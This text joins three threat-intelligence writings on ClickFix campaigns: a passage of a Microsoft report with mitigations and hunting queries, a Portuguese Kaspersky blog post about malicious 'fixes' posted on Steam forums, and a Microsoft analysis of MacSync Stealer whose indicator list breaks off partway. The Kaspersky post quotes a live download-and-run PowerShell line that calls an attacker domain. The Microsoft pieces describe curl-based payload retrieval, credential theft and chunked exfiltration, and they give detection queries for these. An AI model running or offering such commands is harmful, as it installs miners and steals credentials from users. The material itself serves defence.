The choice to launch with pythonw.exe (no visible window Python interpreter) means no console window is visible to the user. Combined with DEBUG = False by default and all logging going to stderr, the implant operates completely silently.
Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat:
Restrict PowerShell and Run dialog execution – Use AppLocker, Application Control for Windows, or Group Policy to restrict PowerShell execution for standard users.
Consider blocking or auditing the Windows Run dialog (Win+R) where it is not required for daily work.
Monitor for DLL sideloading indicators — Alert on LockScreenContentServer.exe executing from non-standard paths (anything other than C:\Windows\SystemApps). Use the LockScreenContentServer.exe sideloading from non-standard paths advanced hunting query provided below to identify this activity across your environment.
Educate users about ClickFix tactics – Train employees to recognize fake CAPTCHA verification pages that instruct them to paste commands into Terminal or the Run dialog.
Investigate affected hosts thoroughly – Organizations that find indicators of this campaign should assume the attacker has network-level access through the compromised host. Credential rotation should be prioritized for any credentials accessible from the affected machine, including domain admin accounts if the host was domain-joined.
Check your Microsoft 365 email filtering settings to ensure spoofed emails, spam, and emails with malware are blocked. Use Microsoft Defender for Office 365 for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links on click and delete sent mail in response to newly acquired threat intelligence. Turn on safe attachments policies to check attachments to inbound email.
Block web pages from automatically running Flash plugins.
Enable network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats.
Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
Enable PowerShell script block logging to detect and analyze obfuscated or encoded commands, providing visibility into malicious script execution that might otherwise evade traditional logging.
Enforce use of PowerShell Constrained Language Mode where possible, in addition to use of execution policies such as setting AllSigned or RemoteSigned to help reduce the risk of malicious execution by ensuring only trusted, signed scripts are executed, adding a layer of control.
Use Group Policy to deploy hardening configurations throughout your environment, if certain features are not necessary:
Create an App Control policy that prohibits the launch of native Windows binaries from Run. This can be accomplished by defining a rule based on the specific process that is launching binaries like PowerShell.
Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against PowerShell techniques used by threat actors:
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Tactic
Observed Activity
Microsoft Defender Coverage
Initial Access / Execution
User pastes ClickFix/TerminalFix PowerShell cmdlets from clipboard after interacting with fake Cloudflare CAPTCHA
Microsoft Defender Antivirus – Trojan:Win32/ClickFix.* – Trojan:Win32/TermFix.*
Microsoft Defender for Endpoint – Possible initial access from an emerging threat – Possible ClickFix activity – Potential initial access led to ransomware attempt
Defense Evasion
LockScreenContentServer.exe DLL sideloading of malicious dui70.dll
Microsoft Defender Antivirus – Trojan:Win32/Posilod.* – Trojan:Win64/DLLHijack.DAB!MTB Microsoft Defender for Endpoint – An executable file loaded an unexpected DLL file
Persistence
Persistence through Registry Run key and Scheduled task
Microsoft Defender for Endpoint – Anomaly detected in ASEP registry – Suspicious Scheduled Task Process Launched – Suspicious scheduled task
Discovery
Domain enumeration via nltest, net group, ADSI searcher
Microsoft Defender for Endpoint – Suspicious LDAP query – Suspicious Active Directory enumeration – Possible hands-on-keyboard pre-ransom activity – Anomalous account lookups – Possible hands-on-keyboard pre-ransom activity
Command and Control
Outbound TLS WebSocket tunnel to gitnow[.]dev on port 443
Microsoft Defender Antivirus – Trojan:Python/Indigo.SA
Microsoft Defender for Endpoint – Possibly malicious use of proxy or tunneling tool
Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate investigation and response tasks related to this threat. Useful promptbooks for this activity include Incident investigation, Microsoft User analysis, Threat actor profile, Threat Intelligence 360 report based on MDTI intelligence, and Vulnerability impact assessment. Some promptbooks require access to Microsoft Defender XDR, Microsoft Sentinel, or related Microsoft security plugins.
For this campaign, Security Copilot can help analysts summarize affected devices running LockScreenContentServer.exe from non-standard locations, trace the PowerShell steganography extraction chain, and build containment and credential rotation plans for affected domain-joined endpoints.
Threat intelligence reports
Microsoft customers can use Microsoft Defender XDR Threat analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this compromise. These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in customer environments.
Advanced hunting queries
Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:
ClickFix PowerShell execution which executes payload
DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where FileName =~ "cmd.exe" and ProcessCommandLine has_all (@"\ProgramData\", "1.bat", "LockScreenContentServer.exe")
LockScreenContentServer.exe sideloading from non-standard paths
DeviceImageLoadEvents
| where InitiatingProcessFileName =~ "LockScreenContentServer.exe"
| where FileName =~ "dui70.dll"
| extend path = tostring(parse_path(FolderPath).DirectoryPath)
| where path =~ InitiatingProcessFolderPath
| where not(path has_any (@"\Windows\System32", @"\Windows\SysWOW64", @"\winsxs\", @"\program files", @"\Windows Defender\", @"\Microsoft Security Client\", @"\Program Files\Windows", @"\Program Files\Microsoft", @"\ProgramData\Microsoft\", @"\Microsoft\Windows", @"\amd64_windows-defender-service", @"\Microsoft Defender for Endpoint\"))
Custom reverse tunnel implant execution
DeviceProcessEvents
| where FileName in~ ("pythonw.exe", "python.exe")
| where ProcessCommandLine has_all ("client.py", "--server", "--uuid", “cert.pem”, “gitnow.dev”)
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.
Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.
ClickFix chega aos fóruns da Steam
Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.
O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.
Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte
Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.
A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.
Entenda rapidamente: o que realmente existe por trás do comando irm | iex
Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:
irm msfconfig.icu | iex
Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.
Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:
irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.
Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.
Um minerador de criptomoedas, não uma ferramenta de otimização
Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.
O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte
Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.
Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.
O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.
Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.
Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.
Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares
Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.
Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?
Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.
Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:
MacSync Stealer is a macOS-focused information stealer that relies on changing infrastructure to deliver payloads, communicate with compromised devices, and exfiltrate data. Earlier reporting by RST Cloud identified the threat through a limited set of domains and documented rapid command-and-control (C2) replacement after public disclosure.
Microsoft Defender Experts expanded that view by correlating recurring endpoints and network behaviors across the activity. This behavior-led approach connected more than 30 domains and showed that the infrastructure supported more than C2 communication, extending into active collection, staging, and exfiltration. The findings demonstrate that although domains may rotate quickly, repeated execution patterns, request characteristics, staging behavior, and upload methods provide defenders with more durable opportunities to investigate MacSync Stealer activity.
Activity overview
Microsoft Defender Experts reviewed endpoint and network telemetry to determine which MacSync Stealer behaviors persisted as infrastructure changed. The investigation followed the activity from C2 communication through collection, staging, and exfiltration, using recurring technical traits to connect activity across rotating domains. Execution began from an interactive shell session consistent with ClickFix social engineering, where users are tricked into pasting or running commands in Terminal. The shell session used curl to retrieve attacker-controlled payload content, followed by script-driven execution and outbound communication.
After execution, the malware communicated with attacker-controlled infrastructure using recurring URI paths, macOS User-Agent strings, API-key headers, and curl command-line options. These request traits became durable behavioral pivots because they remained consistent even as domains changed. The activity then progressed into collection behavior targeting macOS Keychain material, browser data, locally stored credentials, cloud and Secure Shell (SSH) credentials, and sensitive files from common user directories.
The investigation also confirmed active data exfiltration, not just beaconing. Collected data was staged under temporary paths, compressed into an archive, split into chunks, and uploaded through HTTP PUT requests using curl with the –data-binary argument. Upload parameters such as upload_id, chunk_index, and total_chunks provided additional hunting opportunities that could be correlated with process, command-line, file, and network telemetry across the attack chain.
Discovery of additional rotating infrastructure
To identify related MacSync Stealer infrastructure, Microsoft Defender Experts required multiple endpoint and network behaviors to align before treating a domain as connected. Correlation focused on recurring traits across payload retrieval, C2 check-in, and exfiltration, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Applying this standard linked more than 30 domains, making the domain count an outcome of the behavioral methodology rather than the primary finding.
The strongest pivots combined network request shape with endpoint execution context. Related infrastructure shared recurring URI patterns such as /curl/, /dynamic?txd=, and /gate?buildtxd=; curl command lines using -k, -s, –max-time, and –data-binary; macOS User-Agent strings; API-key headers; and HTTP PUT uploads that included upload_id, chunk_index, and total_chunks parameters. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Domains were treated as related when multiple behavioral traits aligned across process, command-line, and network telemetry, reducing reliance on any single domain indicator.
This finding reinforces a practical defender lesson: rotating infrastructure can weaken static domain blocking and retrospective IOC matching, but repeated request patterns and process behaviors create durable hunting opportunities. Figure 1 shows representative defanged command-line patterns used as pivots across payload retrieval, C2 check-in, and chunked upload activity.
Phase
Representative behavioral pivot
Why it matters
Payload retrieval
curl -kfsSL hxxp://[domain]/curl/[token]
Identifies the initial payload retrieval pattern without depending on a single domain.
Shows active data exfiltration and provides durable upload parameters for hunting across domains.
Figure 1. Representative behavioral pivots associated with MacSync Stealer payload retrieval, C2 check-in, and chunked HTTP PUT exfiltration.
The same behavioral patterns used to identify additional infrastructure also map to the broader end-to-end activity observed on affected macOS devices.
Attack chain overview
The observed MacSync Stealer activity followed a fast, script-driven attack chain designed to execute quickly on macOS, collect high-value local data, stage the results, and exfiltrate the archive through rotating web infrastructure. This sequence matters because each phase produces telemetry that can be correlated across processes, command-line, file, and network events. Rather than relying on any individual domain, defenders can track the chain through recurring execution tools, URI paths, staging locations, and upload parameters.
MacSync Stealer attack chain showing payload execution, AppleScript-assisted activity, data collection, staging and compression, exfiltration through rotating infrastructure, and cleanup of temporary artifacts.
Phase
Observed behavior
Hunting value
Payload retrieval
Interactive shell launches curl to retrieve staged payload content.
Correlate shell ancestry, curl command lines, and /curl/ retrieval paths.
C2 check-in
Requests use recurring URI paths, macOS User-Agent strings, and API-key headers.
Track request shape across domains instead of matching domains alone.
Collection and staging
Credential, browser, cloud, SSH, and user-file data is collected and archived.
Look for sensitive-file access followed by archive creation under temporary paths.
Chunked exfiltration
curl uploads staged archive chunks using HTTP PUT and –data-binary.
Hunt for upload_id, chunk_index, total_chunks, and /gate?buildtxd= patterns.
Cleanup
Temporary archives, staging folders, and lock files are removed.
Correlate deletion activity with preceding collection and outbound upload events.
Observed execution began from an interactive zsh terminal session, where curl retrieved payload content over a /curl/ path before the payload was decoded or unpacked using native utilities such as Base64 and gunzip. This phase is useful for hunting because the combination of user-facing shell activity, curl retrieval, and unpacking behavior is more durable than any single download domain.
Phase 2: AppleScript-assisted execution
The payload used osascript to run AppleScript-assisted shell commands, blending macOS scripting with Unix command-line tooling. Observed activities included sh, cp, rm, curl, mkdir, and killall operations. This phase creates hunting value when osascript launches shell activity that quickly chains into network communication, staging, or cleanup behavior.
Phase 3: Discovery and data collection
After execution, the malware collected host and user information, enumerated running processes and system details, and checked for cryptocurrency wallet applications, including Ledger and Trezor-related local artifacts. It then targeted macOS Keychain material, browser Safe Storage keys, browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, extension storage, Safari data, Apple Notes, SSH keys, AWS credentials, Kubernetes configurations, browser profiles, browsing history, and sensitive files from common user directories. The hunting value comes from correlating sensitive data access with the later staging and upload sequence.
Phase 4: Data staging and compression
Collected data was staged under /tmp/sync* paths and compressed into /tmp/osalogging.zip before uploading. The archive was split into multiple chunks, creating a repeatable staging and transfer pattern that defenders can correlate with preceding collection behavior and subsequent outbound curl traffic.
Phase 5: Exfiltration over rotating infrastructure
The staged archive was uploaded through rotating infrastructure using curl and HTTP PUT requests. Observed requests included –data-binary, API-key headers, macOS User-Agent string, upload_id values, chunk_index values, and total_chunks parameters. These upload traits confirmed active data exfiltration and provided durable hunting pivots even when domains rotated.
Phase 6: Cleanup and evidence removal
After exfiltration, the malware removed temporary archives, staging folders, lock files, and other artifacts. Although this cleanup reduced on-disk evidence, the sequence of archive creation, chunked upload, and deletion can still provide a useful behavioral correlation for defenders.
Mitigation and protection guidance
The attack chain findings point to three mitigation priorities.
Organizations should reduce the risk of user-initiated Terminal execution by educating users and using platform controls that interrupt suspicious paste-and-run workflows. Microsoft’s ClickFix reporting recommends educating users not to run commands from untrusted sources and monitoring suspicious Terminal or shell activity associated with these lures.
Defenders should monitor post-execution behavior when initial prevention does not stop activity, including suspicious shell usage, AppleScript-assisted commands, curl-based payload retrieval, credential-store access, temporary staging paths, and archive creation.
Detection should include exfiltration monitoring for HTTP PUT uploads, –data-binary usage, upload identifiers, chunk indexes, total chunk counts, and recurring /gate URI patterns that can reveal active data theft even when C2 domains rotate.
In macOS 26.4 and later, Apple introduced protections designed to disrupt ClickFix-style attacks, including warnings that can block potentially malicious Terminal pastes and XProtect checks that can prevent detected malicious scripts from running.
When a user attempts to paste a potentially malicious command into Terminal, macOS displays a warning that blocks the paste and explains that scammers may use Terminal instructions to compromise the Mac or the user’s privacy.
“Possible malware, Paste blocked”
“Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.”
Organizations can also follow these recommendations to mitigate threats associated with this threat:
Reduce Terminal execution risk. Educate users not to paste or run Terminal commands from untrusted websites, chat messages, apps, files, or phone-based instructions.
Monitor suspicious Terminal usage. Alert on unusual Terminal, zsh, or shell sessions that retrieve payloads, decode content, or execute commands shortly after user interaction.
Detect native tool abuse. Flag unusual sequences of macOS utilities such as curl, Base64, gunzip, osascript, cp, rm, mkdir, and killall.
Protect credential stores. Detect unauthorized access to Keychain material, browser credential stores, SSH keys, cloud credentials, and sensitive files in common user directories.
Monitor data staging. Alert on sensitive artifact collection followed by compression, archive creation, or staging under temporary paths such as /tmp/sync*.
Monitor exfiltration patterns. Identify curl-based HTTP PUT uploads that use –data-binary, API-key headers, upload_id, chunk_index, total_chunks, or recurring /gate URI patterns.
Restrict suspicious outbound traffic. Block or investigate connections to suspicious, newly registered, or behaviorally related domains while continuing to hunt on request patterns that may persist after domains rotate.
Microsoft also recommends the following mitigations to reduce the impact of this threat.
Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
Enable network protection and web protection to help prevent connections to malicious websites, phishing pages, and attacker-controlled infrastructure used for malware delivery, command-and-control communication, and data exfiltration.
Enable tamper protection to help prevent unauthorized changes to Microsoft Defender security settings and reduce the risk of attackers disabling or weakening endpoint protections.
Microsoft Defender XDR detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Tactic
Observed activity
Microsoft Defender coverage
Execution
User-initiated shell activity retrieves payload content with curl. Payload content is decoded or unpacked using base64 and gunzip. AppleScript and shell commands are executed through osascript and native macOS utilities.
Microsoft Defender for Endpoint – Suspicious shell command execution – Obfuscation or deobfuscation activity – Executable permission added to file or directory – Suspicious AppleScript activity – Suspicious piped command launched – Suspicious file or information obfuscation detected
Malware collects browser credentials, cookies, session data, Keychain-related material, cloud credentials, SSH keys, Apple Notes, browser profiles, browsing history, and sensitive files from common user directories. Collected data is staged and archived before upload.
Microsoft Defender for Endpoint – Suspicious access of sensitive files – Suspicious process collected datafrom local system – Enumeration of files with sensitive data – Suspicious archive creation – Suspicious path deletion
Microsoft Defender Antivirus – Behavior:MacOS/SuspPassSteal – Trojan:MacOS/SuspDecodeExec
Defense Evasion
Malware decodes or unpacks payload content and removes temporary archives, staging folders, lock files, and other artifacts after exfiltration.
Microsoft Defender for Endpoint – Suspicious path deletion – Suspicious file or information obfuscation detected
Microsoft Defender for Endpoint – Suspicious access of sensitive files – Unix credentials were illegitimately accessed
Exfiltration
Malware uploads staged archive chunks using curl with HTTP PUT, –data-binary, API-key headers, macOS User-Agent strings, upload_id, chunk_index, and total_chunks parameters.
Microsoft Defender for Endpoint – Possible data exfiltration using curl
Microsoft Defender Antivirus – Behavior:MacOS/SuspInfoExfil – Trojan:MacOS/SuspMacSyncExfil
Threat intelligence reports
Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat, malicious activity, infrastructure, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.
Advanced hunting queries
The following advanced hunting queries can help identify MacSync Stealer behaviors observed with this threat. Use these queries as starting points and tune the time range, device scope, and allowlists for your environment.
Hunting objective: Identify rotating infrastructure by request shape
This query looks for curl-initiated network activity that matches recurring MacSync Stealer URI paths and upload parameters across domains.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")
Hunting objective: Detect payload retrieval over /curl/
This query focuses on initial payload retrieval behavior where curl reaches a /curl/ path, helping identify delivery activity without relying on a specific domain.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has "/curl/"
Hunting objective: Detect chunked exfiltration over curl HTTP PUT
This query targets active exfiltration behavior by looking for curl HTTP PUT uploads that use –data-binary and chunked upload parameters.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary")
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=")
Hunting objective: Find curl command lines with MacSync infrastructure traits
This query searches endpoint process telemetry for curl command lines containing the headers, URI paths, and upload parameters used as durable behavioral pivots.
DeviceProcessEvents
| where FileName =~ "curl"
| where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}")
The following MITRE ATT&CK mappings reflect behaviors observed during the MacSync Stealer investigation. The mapping emphasizes the same behavioral pivots used throughout this blog, including shell and AppleScript-assisted execution, payload retrieval, credential and browser data theft, sensitive file collection, staging, chunked exfiltration, cleanup, and rotating infrastructure.
Execution
T1059.004 Command and Scripting Interpreter: Unix Shell | An interactive zsh terminal session was used to run curl commands, decode or unpack payload content with base64 and gunzip, and execute shell commands.
T1105 Ingress Tool Transfer | curl downloaded payload content from attacker-controlled infrastructure using recurring payload retrieval paths.
Discovery
T1082 System Information Discovery | The malware collected host and user information during environment discovery.
T1057 Process Discovery | The malware enumerated running processes and system configuration before continuing collection and credential-access activity.
T1518 Software Discovery | The malware checked for cryptocurrency wallet applications such as Ledger and Trezor.
Credential Access
T1555.001 Credentials from Password Stores: Keychain | The malware created a temporary keychain-grabbing script, attempted to extract browser Safe Storage keys, and accessed or attempted to unlock the macOS Keychain.
T1555.003 Credentials from Password Stores: Credentials from Web Browsers | The malware collected browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, and extension storage from Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium, and other browsers.
Collection
T1005 Data from Local System | The malware searched Downloads, Documents, and Desktop and collected sensitive file types including PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, and SEED files.
T1552.001 Unsecured Credentials: Credentials in Files | The malware harvested SSH keys, AWS credentials, Kubernetes configurations, browser profiles, Apple Notes, Safari data, and other locally stored secrets.
T1560.001 Archive Collected Data: Archive via Utility | Collected data was staged under /tmp/sync* and compressed into /tmp/osalogging.zip before upload.
Command and Control
T1071.001 Application Layer Protocol: Web Protocols | C2 communication used web protocols with recurring paths such as /dynamic?txd= and /gate?buildtxd=, macOS User-Agent strings, API-key headers, and rotating domains.
Exfiltration
T1041 Exfiltration Over C2 Channel | Collected data was uploaded to attacker-controlled infrastructure using recurring /gate URI patterns and chunked HTTP PUT requests.
T1020 Automated Exfiltration | The malware automated upload activity using curl with HTTP PUT, –data-binary, upload identifiers, chunk_index, and total_chunks parameters.
T1030 Data Transfer Size Limits | The archive was split into multiple chunks before upload, as shown by repeated chunk_index and total_chunks parameters in exfiltration requests.
Defense Evasion
T1070.004 Indicator Removal: File Deletion | Temporary archives, staging folders, lock files, and other artifacts were removed after exfiltration.
T1140 Deobfuscate/Decode Files or Information | Payload content was decoded or unpacked using base64 and gunzip before execution.
Behavioral Hunting Pivots
The following command-line patterns, URL paths, and URL parameters were observed in activity consistent with MacSync Stealer. Use these durable behavioral pivots with process and network context to investigate related activity as infrastructure rotates; then use the point-in-time domain indicators in the IOC section to enrich and validate those findings.
Indicator
Type
Description
-H “api-key:”
Command-line parameter
API-key header request pattern used in MacSync Stealer C2 communication.
-H “User-Agent: Mozilla/5.0 (Macintosh”
Command line parameters
macOS User-Agent string used in outbound requests associated with the activity.
-w %{http_code}
Command line parameters
Curl output pattern used to capture HTTP response codes during upload attempts.
-X PUT –data-binary
Command line parameters
HTTP upload pattern associated with data-transfer and exfiltration behavior.
curl -k -s –max-time
Command line parameters
Curl-based C2 check-in pattern that suppresses output, bypasses certificate validation, and limits connection time.
/curl/
URL path
Payload retrieval path observed in MacSync Stealer command-line activity.
/dynamic?txd=
URL path
Recurring MacSync Stealer URI pattern used for C2 and infrastructure hunting.
/gate?buildtxd=
URL path
Recurring MacSync Stealer URI pattern associated with chunked HTTP PUT data exfiltration.
chunk_index=
URL parameter
Chunk index parameter observed in repeated upload requests.
total_chunks=
URL parameter
Total chunk count parameter observed in chunked upload activity.
upload_id=
URL parameter
Upload session parameter observed during chunked data-transfer activity.
Indicators of compromise (IOC)
The following domain indicators were observed in activity consistent with MacSync Stealer. Treat them as point-in-time evidence: use them to enrich and validate matches from the behavioral pivots above, and correlate any hits with process and network context because related infrastructure may rotate quickly.
Indicator
Type
Description
aihealthring [.]com
Domain
Domain observed in activity consistent with MacSync Stealer; use matches to enrich and validate findings from the behavioral pivots above, correlated with process and network context.
cabinrentalsnc [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
chatbasedos [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
commercialroofingsd [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
dogtrainersgeorgia [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
fintelliganceai [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
homeinspectionsdelaware [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
intopython [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
lalandscapelighting [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
lumenagnet [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
marbellaresales [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
miamipcsupport [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
moldinspectiondayton [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
nailscanai [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
newjerseypetsitter [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
numericagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
oaklandwaterdamage [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
oklahomawarehousing [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
olympiapetemergency [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
peaecagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
plasmaticsystems [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
plethorawallet [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
premierrentalpurchase [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
ricewaterbeauty [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
rvieragent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
sandiegotkd [.]com
